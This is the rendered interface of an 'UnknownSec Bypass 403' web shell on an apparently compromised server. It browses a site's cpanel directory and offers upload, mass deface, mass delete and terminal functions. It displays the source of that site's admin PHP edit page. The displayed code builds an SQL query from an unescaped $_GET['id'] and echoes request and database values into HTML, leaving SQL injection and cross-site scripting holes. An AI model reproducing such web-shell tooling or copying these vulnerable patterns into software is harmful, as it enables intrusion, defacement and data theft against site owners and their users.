UnknownSec Bypass
403
:
/
var
/
www
/
santgyaneshwarji
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
edit_sadgranth_unicode_title.php
<?php include "top.php"; include "header.php"; include "menu.php"; $id = $_GET['id']; $sql = "select * from sadgranthunicodetitletb where id='".$id."'"; $result = mysqli_query($conn,$sql); $data=mysqli_fetch_array($result); ?> <script src="https://code.jquery.com/jquery-2.2.0.min.js"></script> <script type="text/javascript"> $(document).ready(function (e){ $("#uploadForm").on('submit',(function(e){ e.preventDefault(); var flag = true; var inputField1 =document.getElementById("language"); if (inputField1.value == "-") { flag = false; alert("Please select language"); document.getElementById("language").focus(); return false; } var inputField2 =document.getElementById("title"); if (inputField2.value == "") { flag = false; alert("Please enter title"); document.getElementById("title").focus(); return false; } var language = document.getElementById("language").value; var title = document.getElementById("title").value; try { if (flag == true) { $.ajax({ url: "update_sadgranth_unicode_title.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData:false, success: function(data){ //alert(data); window.location.href="list_sadgranth_unicode_title.php"; }, error: function(){} }); } } catch (Error) { alert(Error); } return; })); }); </script> <div class="form-w3layouts"> <!-- page start--> <!-- page start--> <div class="row"> <div class="row w3-res-tb"> <div class="col-sm-5 m-b-xs"> <a href="list_sadgranth_unicode_title.php"><button class="btn btn-sm btn-default"><b>Sadgranth Unicode Name List</b></button></a> </div> <div class="col-sm-4"> </div> <div class="col-sm-3"> </div> </div> <div class="col-lg-12"> <section class="panel"> <header class="panel-heading"> Update Unicode Sadgranth Name </header> <div class="panel-body"> <div class="position-center"> <form enctype="multipart/form-data" id="uploadForm" method="post"> <input type="hidden" id="newsid" name="newsid" value="<?php echo $_GET['id'];?>"> <div class="form-group"> <label for="exampleInputEmail1">Language</label> <select class="form-control input-sm m-bot15" id="language" name="language"> <?php if($data['language']=="Hindi") echo ' <option selected value="Hindi">Hindi</option> <option value="English">English</option> <option value="Gujarati">Gujarati</option> <option value="Odia">Odia</option> <option value="Nepali">Nepali</option>'; elseif ($data['language']=="English") { echo ' <option value="Hindi">Hindi</option> <option selected value="English">English</option> <option value="Gujarati">Gujarati</option> <option value="Odia">Odia</option> <option value="Nepali">Nepali</option>'; } elseif ($data['language']=="Gujarati") { echo ' <option value="Hindi">Hindi</option> <option value="English">English</option> <option selected value="Gujarati">Gujarati</option> <option value="Odia">Odia</option> <option value="Nepali">Nepali</option>'; } elseif ($data['language']=="Odia") { echo ' <option value="Hindi">Hindi</option> <option value="English">English</option> <option value="Gujarati">Gujarati</option> <option selected value="Odia">Odia</option> <option value="Nepali">Nepali</option>'; } elseif ($data['language']=="Nepali") { echo ' <option value="Hindi">Hindi</option> <option value="English">English</option> <option value="Gujarati">Gujarati</option> <option selected value="Odia">Odia</option> <option selected value="Nepali">Nepali</option>'; } else { echo '<option selected value="-">-</option>'; } ?> </select> </div> <div class="form-group"> <label for="exampleInputEmail1">Title</label> <input type="text" class="form-control" id="title" name="title" value="<?php echo $data['title']; ?>"> </div> <div class="form-group"> <label for="exampleInputFile">Cover Image</label> <input type="file" id="new-image" name="new-image"> <br> <img src="sadgranth_unicode_cover_images/<?php echo $data['image_name']; ?>" height="100px"> <input type="hidden" name="old_image" value="<?php echo $data['image_name']; ?>"> <p class="help-block">Max. Size (W-600 X H-900) (only .jpg, .jpeg, .png files allow)</p> </div> <input type="submit" class="btn btn-info" onclick="data()" value="Submit"> </form> </div> </div> </section> </div> </div> </div> <?php include "footer.php"; ?>
Copyright © 2025 - UnknownSec